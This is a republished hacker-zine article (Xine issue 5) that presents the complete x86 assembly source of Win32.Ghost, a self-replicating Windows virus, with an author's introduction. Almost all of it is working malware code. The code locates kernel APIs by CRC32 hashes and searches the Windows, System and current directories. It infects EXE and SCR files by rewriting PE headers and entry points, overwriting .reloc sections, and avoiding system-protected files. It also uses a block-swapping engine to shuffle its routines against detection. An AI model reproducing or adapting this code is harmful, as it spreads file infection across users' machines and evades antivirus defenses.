Copy Link
Add to Bookmark
Report

Xine - issue #5 - Phile 202

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 

Ú-----------------------------¿
| Xine - issue #5 - Phile 202 |
À-----------------------------Ù




;
;---ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-¿
; Ú-ÜÜÜ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-Ù [ Win32.Ghost Billy Belcebu/iKX ]
; À-ÛÛÛ-ÛÛÛÛÛÛ---ÛÛÛÛÛ--¿ Ú------[ 1731 bytes Target - Win32 Ring3 ]------
; Ú-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-Ù | [ 09/05/00 - Made in Valencia, Spain ]
; À-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ---Ù
;
;
;
; [ Introduction ]
;
; Welcome to Ghost, the new creation of Billy Belcebu (me!). Well, if you've
; read my 'Metamorphism Essay - Part II', i've just made a virus with a block
; swapping engine :) It's not a new technique in virus coding, but i think
; it's the first time someone tries it in Win32 viruses. Just a coding exer-
; cise, a previous step before getting into the real metamorphism... step by
; step guys... i don't like the pressure :) Well... this virus is done very
; quickly, in much less time than all my other viruses (except Win9x.Molly),
; because it taken me 3 days to make the whole thing... coding 1 or 2 hours
; per day. It isn't supposed to be the best virus on earth,but what the fuck,
; it's a virus, and it's written by me, so i am proud of it :)
;
; [ How it works? ]
;
; Well, let's imagine that this is the virus in its first generation:
;
; A-BCDEFGHIJ-K -- virus
;
; The A and the K can't be changed from its place, because we need at least
; some routines with a fixed address (A) and the data always in the same
; place (K).
;
; So if we pass the virus through the BSE (Block Swapping Engine), we'll get
; all yhe routines with its address changed. Let's see it with a graphical
; example:
;
; A-BCDEFGHIJ-K --[ BSE ]-- A-GBCFJEIDH-K
;
; For achieve this goal we have an structure with some references to each
; routine, called RIT (Routine Info Table), that has an ID for each routine,
; and it's size. It's enough information for handle all properly. Also, as i
; have said before we have a BSE routine for process the RIT, and swap the
; routines randomly.
;
; It's not metamorphism, but it's cool anyway :)
;
; [ Features ]
;
; + Block Swapping features included
; + Some Win2k specific code (uses SFP)
; + Infects EXE/SCR PE files
; + Overwrites .reloc sections if present (renames .reloc to .ghost)
; + Get's API addresses using only its CRC32
;
; [ Why this name? ]
;
; Ok, the question present in all viruses :) It's because the last album of
; the german power metal band Rage, called Ghosts. It's the soundtrack of
; this virus. Specially i like the ballad 'Love and fear unite'...
;
; [ Greetings ]
;
; To all the iKX family, specially to StarZer0 and Asmodeus for the moral
; support they gave me in my worse moments, and for pushing me to keep on
; coding. Also to my friends in the VX scene, and also my friend of real
; life RunAwayColt (Potro Desbocado), for being there and helping me.
;
; (c) 2000 Billy Belcebu/iKX [ http://beautifulpeople.cjb.net ]

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Win32.Ghost (c) 2000 Billy Belcebu/iKX |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

.586p
.model flat,stdcall

extrn ExitProcess:PROC
extrn MessageBoxA:PROC

.data

szTtl db "Win32.Ghost",0
szMsg db "First Generation Host",10,13
db "(c) 2000 Billy Belcebu/iKX",0

virus_size = virus_end-virus_start
heap_size = heap_end-heap_start
total_size = virus_size+heap_size

PUSHAD_EDI = 00h
PUSHAD_ESI = 04h
PUSHAD_EBP = 08h
PUSHAD_ESP = 0Ch
PUSHAD_EBX = 10h
PUSHAD_EDX = 14h
PUSHAD_ECX = 18h
PUSHAD_EAX = 1Ch

MAX_PATH = 104h

sign = 00h
InfectPE = 01h
CheckImageBase = 02h
GetAPIs = 03h
GetAPI_ET_CRC32 = 04h
CRC32 = 05h
InfectDir = 06h
ProcessExtension= 07h
random = 08h
r_range = 09h
bse = 0Ah

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routine Info Table handling stuff |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

rit struc
r_id db ?
r_size dw ?
rit ends

rit_size = size rit

rout macro routine_id,routine_start,routine_end
db routine_id
dw offset routine_end-offset routine_start
endm

callr macro routine_id
push routine_id
call dword ptr [ebp+call_rit]
endm

apicall macro api2call
call dword ptr [ebp+api2call]
endm

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | The virus code itself :P |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

.code

virus_start = $

host:
; int 3
push eax
pushad

call kaka
kaka: pop ebp
sub ebp,offset kaka

lea eax,[ebp+call_rit_routine]
mov dword ptr [ebp+call_rit],eax

push 05h ; ECX is the limit of pages
pop ecx
call $+5 ; We put a page inside our code
pop esi
callr CheckImageBase ; Get our own image base
mov dword ptr [ebp+ModBase],esi

push 05h ; 50 pages to scan
pop ecx
mov esi,[esp.24h] ; Put the candidate to kernel
callr CheckImageBase ; Scan backwards for it
mov dword ptr [ebp+kernel],esi

; lea eax,[ebp+api_list] ; Let's detect all the needed
xchg eax,esi ; APIs :)
lea edi,[ebp+api_addresses]
callr GetAPIs

; Let's mix the blocks :)

push 80000 ; Alloc lotsa memory...
push 00h ; Better too much than not
apicall GlobalAlloc ; enough :)
mov dword ptr [ebp+buffer],eax

; The memory is done like this table:
; +-----------------------+
; | Copy of RIT structure |
; +-----------------------+
; | New RIT structure |
; +-----------------------+
; | |
; | Swapped blocks |
; | |
; +-----------------------+

xchg eax,edi ; Make a copy of the original
lea esi,[ebp+routine_info_table] ; RIT in memory (for let BSE
push n_routines*rit_size ; to handle it)
pop ecx
rep movsb
mov dword ptr [ebp+new_rit],edi ; Save offset where we'll put
mov dword ptr [ebp+new_rit_mem],edi ; the new generated RIT
add edi,n_routines*rit_size
mov dword ptr [ebp+swapped_blocks],edi ; Save offset where we'll
mov dword ptr [ebp+swapped_blocks_mem],edi ; put swapped blocks :)

callr bse ; Call our BSE

push dword ptr [ebp+OldEIP] ; Restore this interesting
push dword ptr [ebp+ModBase] ; info

; Infect some files in Windows, System and current directories

lea edi,[ebp+current_dir] ; Save current directory to
push edi ; a temp variable
push MAX_PATH
apicall GetCurrentDirectoryA

lea edi,[ebp+infect_dir]
push MAX_PATH
push edi
apicall GetWindowsDirectoryA
callr InfectDir

lea edi,[ebp+infect_dir]
push MAX_PATH
push edi
apicall GetSystemDirectoryA
callr InfectDir

lea edi,[ebp+current_dir]
callr InfectDir

pop dword ptr [ebp+ModBase]
pop dword ptr [ebp+OldEIP]

mov eax,00400000h
ModBase = $-4
add eax,offset first_gen_host-400000h
OldEIP = $-4
mov [esp.20h],eax
popad
ret

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routine for call to swapped routines (dinamically) |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

; A bit weird, but w0rkz :)

call_rit_routine:
pushad
xor eax,eax
mov ebx,[esp.24h] ; Get routine_id :)
push dword ptr [esp.20h] ; Fix some stack things for
pop dword ptr [esp.24h] ; be able to return...
push n_routines ; ECX = n of entries of RIT
pop ecx
lea edx,[ebp+swap_routines] ; EDX = Ptr to swappable routines
lea esi,[ebp+routine_info_table] ; ESI = Ptr to RIT
crr_loop:
lodsb ; Load id of routine
cmp al,bl ; Compare them
jz w3g0t1t
lodsw
add edx,eax
loop crr_loop
w3g0t1t:
mov dword ptr [ebp+addr2call],edx
popad

mov [esp],12345678h
addr2call = $-4
ret

; ===( Swappable routines )==================================================

swap_routines = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Virus signature :P |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

signature:
db 00h,"Win32.Ghost (c) 2000 Billy Belcebu/iKX",00h
signature_end = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routine for mix the blocks |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

block_swapping_engine:
mov byte ptr [ebp+rout_counter],n_routines
thereisnoloveforme:
mov esi,dword ptr [ebp+buffer]
mov edi,dword ptr [ebp+new_rit]
get_another_rit_entry:
push n_routines
pop eax
callr r_range
mov ebx,eax ; EBX = its place in RIT struc
imul eax,eax,03h ; Get a random block
add eax,esi ; EAX = Address of RIT entry
cmp word ptr [eax],00h
jz get_another_rit_entry

xchg eax,esi
movsb ; Copy the RIT entry into
movzx ecx,word ptr [esi]
movsw ; the new RIT structure
mov edi,esi
sub edi,3
xor eax,eax
stosw ; Nulify that entry
stosb
cdq

lea esi,[ebp+routine_info_table]
xchg ecx,ebx
jecxz over_build_offs
build_offset:
lodsb
lodsw
add edx,eax
loop build_offset

over_build_offs: ; EDX = Offset of the code
lea esi,dword ptr [ebp+swap_routines] ; of the RIT entry
add esi,edx
mov edi,dword ptr [ebp+swapped_blocks]
mov ecx,ebx
rep movsb
add dword ptr [ebp+swapped_blocks],ebx ; Ptr to next routine

add dword ptr [ebp+new_rit],3 ; Ptr to next block

dec byte ptr [ebp+rout_counter]
jnz thereisnoloveforme
ret
end_block_swapping_engine = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Search files by wildcards (Ring-3 runtime method) |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

SetNewDir&InfectFilesInDirectory:
mov dword ptr [ebp+temp_esp],esp
push edi
apicall SetCurrentDirectoryA
InfectFilesInDirectory:
lea eax,[ebp+WIN32_FIND_DATA] ; Search for files
push eax
call omask
db "*.*",0
omask: apicall FindFirstFileA

inc eax
jz FailOccured
dec eax

mov dword ptr [ebp+SearchHandle],eax

SearchForMore:
lea edi,[ebp+WFD_szFileName] ; Is the file found factible
push edi ; of being infected?
callr ProcessExtension
jecxz NotThisTime ; Nopes.

callr InfectPE ; It's a PE executable

NotThisTime:
lea edi,[ebp.WIN32_FIND_DATA] ; Fill this with zeroes
mov ecx,WFD_Size
xor al,al
push edi
rep stosb ; Search for more filez :)
push dword ptr [ebp+SearchHandle]
apicall FindNextFileA

or eax,eax
jnz SearchForMore

CloseSearchHandle:
push dword ptr [ebp+SearchHandle]
apicall FindClose
FailOccured:
mov esp,dword ptr [ebp+temp_esp]
ret
EndSetNewDir&InfectFilesInDirectory = $

ProcessExtension_:
; input:
; EDI - Pointer to file name
; output:
; ECX - 00 - Error: not handled extension
; 01 - Possible PE file

push edi
xor ecx,ecx ; Clear ECX

mov al,"." ; Search for da point
scasb
jnz $-1
mov eax,[edi] ; Get the extension

or eax,00202020h ; Make it lowercase
cmp eax,"exe" ; EXE?
jz MaybePE
cmp eax,"rcs" ; SCR?
jnz NotHandledExtension
MaybePE:inc ecx
NotHandledExtension:
pop edi
ret
EndProcessExtension = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Infect PE |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

InfectPEfile:
cmp dword ptr [ebp+SfcIsFileProtected],00h
jz NotInWin2k

push edi ; See if file is protected
push 00h ; with SFC functions
apicall SfcIsFileProtected

or eax,eax ; If so, don't infect
jnz ExitInfectPE

NotInWin2k:
push 80h ; Destroy hostile attributes
push edi
apicall SetFileAttributesA

xor eax,eax ; Open file for R/W
push eax
push eax
push 03h
push eax
inc eax
push eax
push 0C0000000h
push edi
apicall CreateFileA

inc eax
jz ExitInfectPE
dec eax

mov dword ptr [ebp+FileHandle],eax ; Save handle of opened file

push eax

push 00h
push eax
apicall GetFileSize ; Get its size
pop ecx
add eax,total_size

push eax

xor ebx,ebx ; EBX = 0
push ebx
push eax ; push size
push ebx
push 04h
push ebx
push ecx ; push handle
apicall CreateFileMappingA

pop ecx ; ECX = Size to map

test eax,eax
jz CloseFileExitInfectPE

mov dword ptr [ebp+MapHandle],eax

xor ebx,ebx
push ecx
push ebx
push ebx
push 02h
push eax
apicall MapViewOfFile

test eax,eax
jz UnMap&CloseMap&FileExitInfectPE

mov dword ptr [ebp+MapAddress],eax

mov esi,[eax+3Ch]
add esi,eax

cmp word ptr [esi],"EP"
jnz UnMap&CloseMap&FileExitInfectPE

cmp dword ptr [esi+4Ch],"EGAR"
jz UnMap&CloseMap&FileExitInfectPE

and dword ptr [esi+58h],00h

mov dword ptr [esi+4Ch],"EGAR"

mov edi,esi

movzx eax,word ptr [edi+06h]
dec eax
imul eax,eax,28h
add esi,eax
add esi,78h
mov edx,[edi+74h]
shl edx,03h
add esi,edx ; ESI = Last section header
; EDI = PE header

or [esi+24h],0A0000020h ; New section attributes

and dword ptr [edi+0A0h],00h ; Nulify fixups
and dword ptr [edi+0A4h],00h

cmp dword ptr [esi],"ler."
jnz RelocNotLast
cmp dword ptr [esi+4],"co"
jnz RelocNotLast

; Overwriting stage, .reloc is last section

mov dword ptr [esi],"ohg." ; Set new section name to
mov dword ptr [esi+4],"ts" ; ".ghost"

and dword ptr [esi+18h],00h ; Clear PointerToRelocations
and word ptr [esi+20h],00h ; Clear NumberOfRelocations

push dword ptr [esi+14h] ; Where copy virus

mov eax,virus_size
mov [esi+08h],eax ; VirtualSize -> virus size
mov ecx,[edi+3Ch] ; ECX = Alignment

cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx

mov [esi+10h],eax ; SizeOfRawData -> aligned
; virus size

mov eax,[esi+10h] ; Fix ImageSize to allow it
add eax,[esi+0Ch] ; to work in NT :P
mov [edi+50h],eax

mov eax,[esi+0Ch] ; New EIP
xchg eax,[edi+28h] ; Put new EIP and get old one
mov dword ptr [ebp+OldEIP],eax ; Save it

pushad

mov eax,[esi+14h] ; EDX = Where truncate
add eax,[esi+10h]
mov ecx,[edi+3Ch]

cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx

mov [esp.PUSHAD_EDX],eax

popad

pop edi
jmp copy_virus

; Normal stage, .reloc not last or not present

RelocNotLast:
mov edx,[esi+10h]
mov ebx,edx
add edx,[esi+14h]

push edx

mov eax,ebx
add eax,[esi+0Ch]
xchg [edi+28h],eax ; Put new EIP
mov dword ptr [ebp+OldEIP],eax

mov eax,[esi+10h]
add eax,virus_size
mov ecx,[edi+3Ch]

cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx

mov [esi+10h],eax
mov [esi+08h],eax
xchg eax,edx

mov eax,[esi+10h]
add eax,[esi+0Ch]
mov [edi+50h],eax

add edx,[esi+14h]

pop edi

copy_virus:
lea esi,[ebp+virus_start] ; Copy fixed part of virus
add edi,dword ptr [ebp+MapAddress]
mov ecx,(virus_size-(virus_end-swap_routines))
rep movsb

mov esi,dword ptr [ebp+swapped_blocks_mem] ; Copy swapped part
mov ecx,end_swap_routines-swap_routines
rep movsb

mov esi,dword ptr [ebp+new_rit_mem] ; Copy new RIT
mov ecx,n_routines*3
rep movsb

Trunc&UnMap&CloseMap&FileExitInfectPE:
xor eax,eax
push eax
push eax
push edx
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

push dword ptr [ebp+FileHandle]
apicall SetEndOfFile

UnMap&CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapAddress]
apicall UnmapViewOfFile

CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapHandle]
apicall CloseHandle

CloseFileExitInfectPE:
push dword ptr [ebp+FileHandle]
apicall CloseHandle

ExitInfectPE:
ret
EndInfectPE = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Miscellaneous routines |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

CheckImageBase_:
; input:
; ESI - Address inside module
; ECX - Limit
; output:
; ESI - module address

and esi,0FFFF0000h
cmp word ptr [esi],"ZM"
jz ItWasKewlEnough
NotCoolAddress:
sub esi,00010000h
loop CheckImageBase_
ItWasKewlEnough:
ret
EndCheckImageBase = $

CRC32_:
; input:
; ESI - Pointer to the code to process
; EDI - Size of such code
; output:
; EAX - CRC32 of that code

cld
pushad
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; Another fool byte less
jnz NextByteCRC
not edx
not ecx
xchg eax,edx ; Another byte less
rol eax,16
mov ax,cx
mov [esp.PUSHAD_EAX],eax
popad
ret
EndCRC32 = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | APICRC32 engine |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

; The pseudo-structure for the APICRC32 engine is the following:
;
; * ASCIIz String of the library (not needed for KERNEL32)
; * CRC32 of APIs we need
; * BB byte (for signalize the end of exports needed of that function)
; * ... (repeat the above points the times you need->libraries u use)
; * "" byte (for signalize the definitive end of imports)

GetAPIs_:
call oAPI

@FindFirstFileA dd 0AE17EBEFh
@FindNextFileA dd 0AA700106h
@FindClose dd 0C200BE21h
@CreateFileA dd 08C892DDFh
@DeleteFileA dd 0DE256FDEh
@SetFilePointer dd 085859D42h
@SetFileAttributesA dd 03C19E536h
@CloseHandle dd 068624A9Dh
@GetCurrentDirectoryA dd 0EBC6C18Bh
@SetCurrentDirectoryA dd 0B2DBD7DCh
@GetWindowsDirectoryA dd 0FE248274h
@GetSystemDirectoryA dd 0593AE7CEh
@CreateFileMappingA dd 096B2D96Ch
@MapViewOfFile dd 0797B49ECh
@UnmapViewOfFile dd 094524B42h
@SetEndOfFile dd 059994ED6h
@GetFileSize dd 0EF7D811Bh
@GlobalAlloc dd 083A353C3h
@GlobalFree dd 05CDF6B6Ah
@LoadLibraryA dd 04134D1ADh
@FreeLibrary dd 0AFDF191Fh
@GetTickCount dd 0613FD7BAh
db 0BBh

db "SFC",0
@SfcIsFileProtected dd 06DE8F7ABh
db 0BBh
db ""

oAPI: pop esi

GetAPIs__:
; input:
; EAX - Base address of the library where search the APIs
; ESI - Pointer to an array of CRC32 of the APIs we want to search
; EDI - Pointer to where store the APIs
; output:
; Nothing.

push eax ; EAX = Handle of module
pop dword ptr [ebp+TmpModuleBase]
APIS33K:
lodsd ; Get in EAX the CRC32 of API
push esi edi
callr GetAPI_ET_CRC32
pop edi esi
stosd ; Save in [EDI] the API address

cmp byte ptr [esi],0BBh ; There are more APIs in this
jnz APIS33K ; library

inc esi ; Check if it's the last of
cmp byte ptr [esi],"" ; all them
jz EndOfAPISearch

push esi ; ESI points now to the ASCIIz
apicall LoadLibraryA ; string of a library... We
; need to load it!
push eax

nxtchr: lodsb ; Reach the end of the lib
test al,al ; asciiz name
jnz nxtchr

pop eax
jmp GetAPIs__

EndOfAPISearch:
ret
EndGetAPIs = $

GetAPI_ET_CRC32_:
; input:
; EAX - CRC32 of the API we want to know its address
; output:
; EAX - API address, NULL if error

xor edx,edx

pushad

call over_APICRC32_SEH
mov esp,[esp+08h] ; Set stack as before
xor eax,eax ; signalize the error
jmp Remove_APICRC32_SEH

over_APICRC32_SEH:
push dword ptr fs:[edx] ; Set new SEH frame
mov dword ptr fs:[edx],esp

xchg eax,edx ; Put CRC32 of da api in EDX
mov dword ptr [ebp+Counter],eax ; Clear this field :)
push 3Ch
pop esi
add esi,[ebp+TmpModuleBase] ; Get PE header of module
lodsw
add eax,[ebp+TmpModuleBase] ; Normalize

push 1Ch
pop esi
add esi,[eax+78h] ; Get a pointer to its edata
add esi,[ebp+TmpModuleBase]

lea edi,[ebp+AddressTableVA] ; Pointer to the address table
lodsd ; Get AddressTable value
add eax,[ebp+TmpModuleBase] ; Normalize
stosd ; And store in its variable

lodsd ; Get NameTable value
add eax,[ebp+TmpModuleBase] ; Normalize
push eax ; Put it in stack
stosd ; Store in its variable

lodsd ; Get OrdinalTable value
add eax,[ebp+TmpModuleBase] ; Normalize
stosd ; Store

pop esi ; ESI = NameTable VA

@?_3: lodsd ; Get pointer to an API name
push esi ; Save again
add eax,[ebp+TmpModuleBase] ; Normalize
xchg edi,eax ; Store ptr in EDI
mov ebx,edi ; And in EBX

push edi ; Save EDI
xor al,al
scasb
jnz $-1
pop esi ; ESI = Pointer to API Name

sub edi,ebx ; EDI = API Name size

push edx ; Save API's CRC32
callr CRC32 ; Get actual api's CRC32
pop edx ; Restore API's CRC32
cmp edx,eax ; Are them equal?
jz @?_4 ; if yes, we got it

pop esi ; Restore ptr to api name
inc dword ptr [ebp+Counter] ; And increase the counter
jmp @?_3 ; Get another api!
@?_4:
pop esi ; Remove shit from stack
mov eax,dword ptr [ebp+Counter] ; Put in EAX the number that
; the API occupy in list.
shl eax,1 ; *2 (it's an array of words)
add eax,[ebp+OrdinalTableVA] ; Normalize
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
lodsw ; Get ordinal in AX
cwde ; Clear MSW of EAX
shl eax,2 ; And with it we go to the
add eax,[ebp+AddressTableVA] ; AddressTable (array of
xchg esi,eax ; dwords)
lodsd ; Get Address of API RVA
add eax,[ebp+TmpModuleBase] ; and normalize!! That's it!

Remove_APICRC32_SEH:
xor edx,edx ; Remove that SEH frame
pop dword ptr fs:[edx]
pop edx
mov [esp.PUSHAD_EAX],eax
popad
ret
EndGetAPI_ET_CRC32 = $

GetRandom:
; input:
; Nothing.
; output:
; EAX - Random number

push ebx edx
apicall GetTickCount
call _seed
dd "RAGE"
_seed: pop ebx
xor eax,[ebx]
mov [ebx],eax
pop edx ebx
ret
EndGetRandom = $

GetRandomRange:
; input:
; EAX - Range
; output:
; EAX - Random number into that range

push ecx
push edx
mov ecx,eax
callr random
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
EndGetRandomRange = $

; ===( End of swappable routines )===========================================

end_swap_routines = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Routines table |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

routine_info_table:
rout sign,signature,signature_end
rout bse,block_swapping_engine,end_block_swapping_engine
rout InfectDir,SetNewDir&InfectFilesInDirectory,EndSetNewDir&InfectFilesInDirectory
rout ProcessExtension,ProcessExtension_,EndProcessExtension
rout InfectPE,InfectPEfile,EndInfectPE
rout CheckImageBase,CheckImageBase_,EndCheckImageBase
rout CRC32,CRC32_,EndCRC32
rout GetAPIs,GetAPIs_,EndGetAPIs
rout GetAPI_ET_CRC32,GetAPI_ET_CRC32_,EndGetAPI_ET_CRC32
rout random,GetRandom,EndGetRandom
rout r_range,GetRandomRange,EndGetRandomRange
n_routines = (($-routine_info_table)/rit_size)

virus_end = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | Data in the heap |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

heap_start = $
kernel dd ?
TmpModuleBase dd ?
AddressTableVA dd ?
NameTableVA dd ?
OrdinalTableVA dd ?
Counter dd ?
SearchHandle dd ?
call_rit dd ?
buffer dd ?
new_rit dd ?
new_rit_mem dd ?
swapped_blocks dd ?
swapped_blocks_mem dd ?
rout_counter db ?
FileHandle dd ?
MapHandle dd ?
MapAddress dd ?
temp_esp dd ?

api_addresses = $
FindFirstFileA dd ?
FindNextFileA dd ?
FindClose dd ?
CreateFileA dd ?
DeleteFileA dd ?
SetFilePointer dd ?
SetFileAttributesA dd ?
CloseHandle dd ?
GetCurrentDirectoryA dd ?
SetCurrentDirectoryA dd ?
GetWindowsDirectoryA dd ?
GetSystemDirectoryA dd ?
CreateFileMappingA dd ?
MapViewOfFile dd ?
UnmapViewOfFile dd ?
SetEndOfFile dd ?
GetFileSize dd ?
GlobalAlloc dd ?
GlobalFree dd ?
LoadLibraryA dd ?
FreeLibrary dd ?
GetTickCount dd ?
SfcIsFileProtected dd ?

current_dir db MAX_PATH dup (?)
infect_dir db MAX_PATH dup (?)

WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime dq ?
WFD_ftLastAccessTime dq ?
WFD_ftLastWriteTime dq ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
WFD_Size = $-WIN32_FIND_DATA


heap_end = $

; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; | First generation host |
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

first_gen_host:
call MessageBoxA,0,offset szMsg,offset szTtl,10h
call ExitProcess,0
end host

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT